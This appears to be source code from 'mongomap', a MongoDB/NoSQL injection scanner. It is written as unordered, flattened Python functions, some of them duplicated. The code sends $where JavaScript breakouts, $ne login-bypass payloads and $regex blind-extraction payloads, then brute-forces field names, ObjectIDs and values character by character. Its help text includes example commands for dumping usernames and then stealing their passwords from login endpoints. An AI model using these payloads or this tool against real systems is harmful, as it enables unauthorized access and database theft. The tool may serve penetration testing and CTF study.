def dumpEntry(self, var=[], retry=0): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ '\"!#$%&._()*+,-/:;<=>?@{|}[]^`~" i = 0 while True: i += 1 if i > 500: bold("".join(var)) if question("This entry seems abnormally long. Skip it?"): break prev = len(var) threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join() thread = threading.Thread(target=self.dumpEntryChar, args=(var, c)) threads.append(thread) thread.start() for thread in threads: thread.join() if prev == len(var): break entry = "".join(var).replace("\\\\", '\\').replace("\\\'", "'").replace("\\\"", '"') if entry != "": bold("Found an entry: " + entry) self.entries.append(entry) else: failure( "Failed to fetch an entry. Maybe it was a false positive or internet delay?" )
def vulnTest(self): failPayl = "\\" data = copy.deepcopy(self.scanner.data) data[self.param] = failPayl self.scanner.textErrorBaseline = self.scanner.sendData(data).text if self.scanner.textErrorBaseline != self.scanner.textBaseline: success("Basic check succeeded!") else: bold("Basic check failed. The rest of this module may not work.") for options in self.getAllOptions(): verbose("Testing with: " + str(options)) data = copy.deepcopy(self.scanner.data) data[self.param] = self.buildPayload( options, "; if(JSON.stringify(this).startsWith('{')){ return this; }; var dum = " ) req = self.scanner.sendData(data) if req.text != self.scanner.textErrorBaseline: self.options = options success("Error-based content check worked!") success("Payload built!") return True return False
def banner(): file = open("banner.txt", "r", encoding="utf-8") banner = file.read().strip().split("\n") file.close() for line in banner: yellow(line) bold("v1.0.0")
def doc(self): bold("--Description--") print( "This module is an abandoned technique that was made inferior due to JSONStringify." ) print( "It works by attempting to retrieve objectIDs via startsWith checks. It will then use these\ IDs to try and gather ID-related data. This method was much slower due to how long it took to\ gather object IDs")
def grabDataFromID(self, objectID): dump = {} for attribute in self.scanner.element_attributes: if attribute == "_id": continue length = -1 value = None try: testLength = 0 bold("Attempting to retrieve length of " + attribute + " for ID " + objectID) while length == -1: testLength += 1 if testLength == 70: if question( "The length seems unnaturally long. Skip this attribute?" ): break regex = "^" + "." * testLength + "$" payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\\\"" + regex + "\\\") && this._id.str == '" + objectID) data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) check = self.scanner.check(req) if check != "none": length = testLength success("Retrieved length " + str(testLength) + " for " + attribute + " for ID " + objectID) except Exception as e: print(e) failure("Failed to retrieve exact length for " + attribute + " for ID " + objectID) try: if length == -1: failure("Failed to retrieve " + attribute + " for ID " + objectID) continue bold("Attempting to retrieve value of " + attribute + " for ID " + objectID) except Exception as e: print(e) failure("Failed to retrieve value of " + attribute + " for ID " + objectID) dump[attribute] = { "length": length, "value": value } return dump
def grabData(self): bold( "Be warned that this module may take some time to retrieve output." ) if not question("Omit ObjectID from dump? (Faster)"): self.slice = "" self.grabEntries() if len(self.entries) == 0: failure("Failed to fetch any entries.") return None return ["Found Entries:"] + self.entries
def showTechniques(): plain("") bold("--Techniques--") plain("") tests = getTests("", "", Scanner("http://localhost/index.php?me=a")) print(" %-5s|%-6s|%-20s" % ("ID", "Type", "Name")) print("_" * 50) for testname in tests: test = tests[testname] print(" %-5d|%-6s|%-20s" % (test.getID(), test.getType(), testname)) plain("") bold("Use the -t command with -h to show help regarding each technique.")
def grabData(self): bold( "Be warned that this module may take some time to retrieve output." ) if not question("Omit ObjectID from dump? (Faster)"): self.slice = "" self.grabEntries() if len(self.entries) == 0: failure( "Nothing was retrieved with this module. Maybe false positive?" ) return None return ["Found Entries:"] + self.entries
def doc(self): bold("--Description--"); print("Attempts to exploit javascript injection in a mongodb injection point to trigger \ unwanted behaviour from MongoDB"); print(""); bold("--How it works--"); print("The target must be using a '$where' check, with a javascript function parsed in string."); print("This module will send a payload looking like one of these:"); print("'; return this; var dum = '"); print("'; return this; var dum = "); print("; return this; var dum = '"); print("; return this; var dum = ''"); print("; return this; var dum = "); print("\"; return this; var dum = \""); print("\"; return this; var dum = "); print("; return this; var dum = \""); print("; return this; var dum = \"\""); print("If a difference in webpage content, status or cookies is detected, \ this module will find it."); bold("--Output--"); print("This module will output differences it finds."); bold("--Extra Notes--"); print("Not to be confused with whereAlwaysTrueInjection. This module requires a javascript execution \ point to function."); print("This may have some false positives if the target is also vulnerable to whereAlwaysTrueInjection.");
def doc(self): bold("--Description--") print( "Attempts to exploit a one liner where check in a mongodb injection point to display \ data, bypassing any mongodb check.") print("") bold("--How it works--") print( "The target must be using a '$where' check that is only a one liner. Example:" ) print("$where: \"this.username == '\".$_POST[\"username\"].\"'\"") print("This module will send a payload looking like one of these:") print("' || '' == '") print("' || '' == ") print(" || '' == '") print(" || '' == ''") print(" || '' == ") print("\" || '' == \"") print("\" || '' == ") print(" || '' == \"") print(" || '' == \"\"") print( "If a difference in webpage content, status or cookies is detected, \ this module will find it.") bold("--Output--") print("This module will output differences it finds.") bold("--Extra Notes--") print( "Not to be confused with whereAlwaysTrueFunctionInjection. If the target has a javascript \ function in their $where, and the injection point is not in the return area, then this \ module may not work.") print( "This may have some false positives if the target is also vulnerable to whereAlwaysTrueFunctionInjection." )
def doc(self): bold("--Description--"); print("Attempts to send an array with a regex parameter instead of single values via \ post/get requests in order to steal data sequentially with blind injection."); print(""); bold("--How it works--"); print("First, the module will test if the target is vulnerable (payload is 'param[$regex]=.')."); print("Then, the module will attempt to gather the data's maximum length with blind injection \ by repeating a length regex check like so:"); print("param[$regex]=.{1}"); print("param[$regex]=.{2}"); print("param[$regex]=.{3}"); print("Until the site shows a difference. The module will use the payload 'param[$regex]=^.{length}$' \ in order to retrieve some different lengths."); print("For every length retrieved, the module will attempt to steal one piece of data. This is done \ with repeated regex checks, like such:"); print("The example here will use the value 'admin'"); print("param[$regex]=a.{4}"); print("param[$regex]=aa.{3}"); print("param[$regex]=ab.{3}"); print("param[$regex]=ac.{3}"); print("param[$regex]=ad.{3}"); print("param[$regex]=ada.{2}"); print("This repeats until 'admin' can be found."); bold("--Output--"); print("This module will output any values it can steal via this method."); bold("--Extra Notes--"); print("This module currently cannot steal all values present in the database. Values of the \ same length will not be stolen as they currently are not differentiated from other values."); print("This module can be paired very well with some manual [$ne] tags. For example, if you are \ dealing with a login form, and you know no usernames, you can start with this:"); print("mongomap.py -u http://target.com/ -method post -data 'username=1&password[$ne]=1' -p username"); print("This will show as many usernames as the module can find. You can then steal assosiated \ passwords with:"); print("mongomap.py -u http://target.com/ -method post -data 'username=stolenuser&password=1' -p password");
def doc(self): bold("--Description--") print( "Attempts to send an array with a not-equal parameter instead of single values via \ post/get requests.") print("") bold("--How it works--") print( "For example, if your request data was ?search=stuff, where search was your vulnerable \ parameter, then this module will attempt to send ?search[$ne]=1 instead. MongoDB will then \ parse this as 'if entry is not equal to 1', and return found entries. If this module is \ successful, it is recommended to perform manual injection with this method. It may give you \ unauthorised access.") bold("--Output--") print( "This module will attempt to track differences in website content, status code, \ and cookies. If a difference is detected, the difference will be displayed in console." ) bold("--Extra Notes--") print( "This module will try different combinations of parameters with the [$ne] addition \ in order to figure out what combination will yield the best outcome.") print( "E.g. Your test data is 'username=1&password=1'. For the parameter username, the \ program will try: 'username[$ne]=1&password=1' and 'username[$ne]=1&password[$ne]=1'." )
def grabData(self): if len(self.scanner.element_attributes) > 0: if question( "There are already some found attributes. Do you want to find again with this module?" ): self.grabElementAttributes() else: self.grabElementAttributes() if len(self.scanner.element_attributes) > 0: success("Some attributes are present. We can proceed to step 2.") bold("Attributes to be used:") for attribute in self.scanner.element_attributes: bold("- " + attribute) else: failure("No attributes could be found. We cannot dump anything.") return None if len(self.scanner.objectIDs) > 0: if question( "There are already some found IDs. Do you want to find again with this module?" ): self.grabIDs() else: self.grabIDs() if len(self.scanner.objectIDs) == 0: failure("No IDs found. Database may be empty.") return None if len(self.scanner.objectIDs) > 0: success("Some ObjectIDs are present. Proceeding with step 3.") grabbedData = {} for objectID in self.scanner.objectIDs: dump = self.grabDataFromID(objectID) grabbedData[objectID] = dump output = [] for id in grabbedData: output.append(id) dump = grabbedData[id] for attrib in dump: value = dump[attrib]["value"] output.append("\t" + attrib + " : " + str(value)) return ["Element Attributes:"] + self.scanner.element_attributes + [ "", "Object IDs:" ] + self.objectIDs
def doc(self): bold("--Description--") print( "Attempts to exploit javascript injection in a mongodb injection point to gather \ data via blind injection. Uses JSONStringify to get json objects in the form of strings." ) print("") bold("--How it works--") print( "The target must be using a '$where' check, with a javascript function parsed in string." ) print( "This module will use JSONStringify and startsWith to gather data. Payloads look like these:" ) print( "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"')){ return this; }; var dum = '" ) print( "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"u')){ return this; }; var dum = '" ) print( "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"us')){ return this; }; var dum = '" ) print( "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"use')){ return this; }; var dum = '" ) print( "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"user')){ return this; }; var dum = '" ) print( "If a difference in webpage content, status or cookies is detected, \ this module will be able to extract values one letter at a time until a whole value is found." ) bold("--Output--") print( "This module will output any values it can steal via this method.") bold("--Extra Notes--") print( ".slice(42,-01) is added if you want to omit ObjectID dumping. It will speed up the module \ significantly, since objectIDs are pretty long. You can still dump objectIDs by answering the console prompt." ) print( "Like whereAlwaysTrueFunctionInjection, the trailing and leading quotes are added and removed \ to test automatically for different injection points.") print( "This module will fail to find some results in slow network conditions. If you only get 1 entry, \ it is recommended to rerun this module.") print( "This may have some false positives if the target is also vulnerable to whereAlwaysTrueInjection." ) print( "Setting maxthreads beyond a certain limit does not increase the speed of this module. Feel free to \ set maxthreads as high as you want.")
def grabElementAttributes(self): if len(self.scanner.element_attributes) > 0: if not question( "There were some element attributes previously found. Try finding attributes again?" ): return bold( "A bruteforce method is being used to recover columns. This may take a while." ) file = open("txt/common-columns.txt", "r") common = file.read().strip().split("\n") file.close() threads = [] newAttributes = [] tried = 0 for attribute in common: tried += 1 if tried > self.scanner.maxbrute and self.scanner.maxbrute != 0: info( "Tested for " + str(self.scanner.maxbrute) + " attributes out of " + str(len(common)) + ". Use the -maxbrute flag to increase the number of tests." ) break if len(threads) > self.scanner.maxthreads: threads.pop().join() verbose("Trying attribute " + attribute) thread = threading.Thread(target=self.tryElementAttribute, args=(attribute, newAttributes)) threads.append(thread) thread.start() for thread in threads: thread.join() for attribute in newAttributes: self.scanner.element_attributes.append(attribute)
def vulnTest(self): failPayl = "\\"; data = copy.deepcopy(self.scanner.data); data[self.param] = failPayl; self.scanner.textErrorBaseline = self.scanner.sendData(data).text; if self.scanner.textErrorBaseline != self.scanner.textBaseline: success("Basic check succeeded!"); else: bold("Basic check failed. The rest of this module may not work."); for options in self.getAllOptions(): verbose("Testing with: " + str(options)); data = copy.deepcopy(self.scanner.data); data[self.param] = self.buildPayload(options,"; return this; var dum = "); req = self.scanner.sendData(data); if req.text != self.scanner.textErrorBaseline: self.options = options; success("Error-based content check worked!"); success("Payload built!"); success(data[self.param]); return True; return False;
def dumpIDValue(self, var=[], retry=0): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\!#$%&._()*+,-/:;<=>?@{|}[]^`~" while len(var) < 24: prev = len(var) threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join() thread = threading.Thread(target=self.dumpIDChar, args=(var, c)) threads.append(thread) thread.start() for thread in threads: thread.join() if prev == len(var): failure("Something went wrong.") if retry < 10: self.dumpIDValue(var, retry + 1) bold("Found an ObjectID: " + "".join(var)) self.objectIDs.append("".join(var))
def grabIDs(self): if "_id" not in self.scanner.element_attributes: #All elements MUST have _id. If this was not found, then this probably wasn't an element. failure("_id was not one of the found attributes. Cannot dump.") else: self.keyAttribute = "_id" bold("Using " + self.keyAttribute + " as a unique key.") self.toGrabInFuture = [] self.dumpIDValue() threads = [] while len(self.toGrabInFuture) > 0: var = self.toGrabInFuture.pop() self.dumpIDValue(var=var, retry=5) for id in self.objectIDs: if id not in self.scanner.objectIDs: success("New ObjectID: " + id) self.scanner.objectIDs.append(id) else: bold("Re-confirmed id: " + id)
def handleData(self): strData = self.data if self.method == "get" and strData == "": split = self.url.split("?") if len(split) != 2: failure( "Get request method selected, but url has no get parameters" ) sys.exit(1) else: self.explodeData(split[1]) self.url = split[0] elif self.method == "post": self.explodeData(strData) elif self.method == "json": pass #Already in the correct form. if "/" not in self.url.replace("://", ""): bold("URL: " + self.url) if question( "There is no / in your url. Do you want to add a trailing slash?" ): self.url += "/"
def main(): colinit() banner() #Initiations parsed = extractArgs() scanner = initScanner(parsed) #Test connection to target if scanner.testConnection(): success("URL can be reached.") else: failure(scanner.url + " cannot be reached. Did you forget http://?") sys.exit(1) print() params = scanner.getParams() if "v" in parsed: setVerbose(True) if "p" in parsed: toTest = parsed["p"].split(",") for param in toTest: if param not in params: failure("Param, " + param + " is not provided in your get/post data!") sys.exit(1) params = toTest verbose("Going to test the following parameters:") for param in params: verbose(param) print() bold("Beginning testing phase.") vulnParams = {} tested = 0 for param in params: tested += 1 bold("Testing for param " + param) successes = scanner.testParam(param) if len(successes) > 0: vulnParams[param] = successes success(param + " is injectible.") if tested < len(params): if not question("Continue testing other parameters?"): break print() bold("Test phase completed.") if len(vulnParams) == 0: failure("No vulnerable parameters found.") sys.exit(1) print() success("Vulnerable Parameters:") for param in vulnParams: success(param) for vuln in vulnParams[param]: success("- " + vuln) print() info("Attempting to dump data...") for param in vulnParams: bold("Parameter: " + param) for vuln in vulnParams[param]: print() bold("Attemping dump with " + vuln + " on param " + param) print() dump = scanner.dumpData(param, vuln) if dump == None: print() failure(vuln + " for " + param + " failed to dump.") else: print() success(vuln + " for " + param + " has retrieved:") if type(dump) == type("str"): success("\t" + dump) elif type(dump) == type({}): for key in dump: success("\t" + str(key) + " : " + str(dump[key])) elif type(dump) == type([]): for i in dump: success("\t" + str(i)) print()
def showHelp(): bold("Usage: mongomap -u [url] ...") plain("") plain( "-u" + "\t\t" + "Refers to the URL of the target. Includes port and get parameters if you are using get requests." ) plain( "--method" + "\t" + "Set to either \"post\" or \"get\". By default, this will be set to \"get\"" ) plain( "--data" + "\t" + "If you are using post or json requests, use this option to specify post data" ) plain( "--file" + "\t" + "Same as --data, but you specify a file containing the parameters instead." ) plain("") bold("--Flexibility--") plain("--cookies" + "\t" + "Set cookies to send. Separate different cookies with &") plain("--headers" + "\t" + "Specifies a header to send. Separate different headers with ;") plain( "--maxbrute" + "\t" + "Default value is 100. This is the maximum number of bruteforce attempts the program will try. Set to 0 for limitless." ) plain( "--maxthreads" + "\t" + "Default value is 50. This is the maximum number of concurent threads the program will spawn." ) plain( "--csrftoken" + "\t" + "Specify the csrftoken to be checked for. You must modify code for this option to work." ) plain( "--ignorecheck" + "\t" + "Ignore a certain check. Set these when false positives are found. Can be set to the following." ) plain("") plain( "\t" + "text --- Ignore website content comparisons. Useful for combatting CSRF." ) plain("\t" + "status --- Ignore status code comparison") plain("\t" + "url --- Ignore redirect URL comparison") plain("") plain( "--maxthreads" + "\t" + "Default value is 50. This is the maximum number of concurent threads the program will spawn." ) plain("-t" + "\t" + "Specify some technique IDs to use.") plain("") bold("--Post-Detection--") plain( "--dump" + "\t" + "Attempts to retrieve as much information as possible via detected injection methods. If no other post-detection options are used, dump will be used by default." ) #plain("--objectids" + "\t" + "Specify a list of objectIDs to try to grab data from. Separate with commas."); plain("") bold("--Help and Documentation--") plain( "-h --help" + "\t" + "Shows this help page. Use with -t to display documentation regarding the specified techniques" ) plain("-ts --techniques" + "\t" + "Display all techniques.") plain("") bold("--Examples--") bold("mongomap -u http://challenger.com?sad=22") bold("mongomap -u http://localhost:2222?search=1 -t 324") bold("mongomap -u http://localhost:2222?search=1 -t w") bold( "mongomap -u http://192.168.1.321 --method post --data \"username=hi&password=letmein\"" ) bold( "mongomap -u https://target.com:1231?foo=1 --cookies \"PHPSESSID=1242345234512345&ID=123\"" ) bold( "mongomap -u http://10.10.10.123 --method post --data search=1 --headers \"Host: administrator1.friendzone.red; User-Agent: imlazytotypethis\"" ) bold( "mongomap -u http://152.104.10.55:20001/v1/account/login --method json --data {\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"1\\\"}" ) bold( "mongomap -u http://175.104.10.55:20001/v1/account/login --method json --data {\\\"username\\\":{\\\"$ne\\\":\\\"1\\\"},\\\"password\\\":\\\"1\\\"}" ) bold( "mongomap -u http://112.104.10.55:20001/v1/account/login --method json --file params.txt" ) plain("")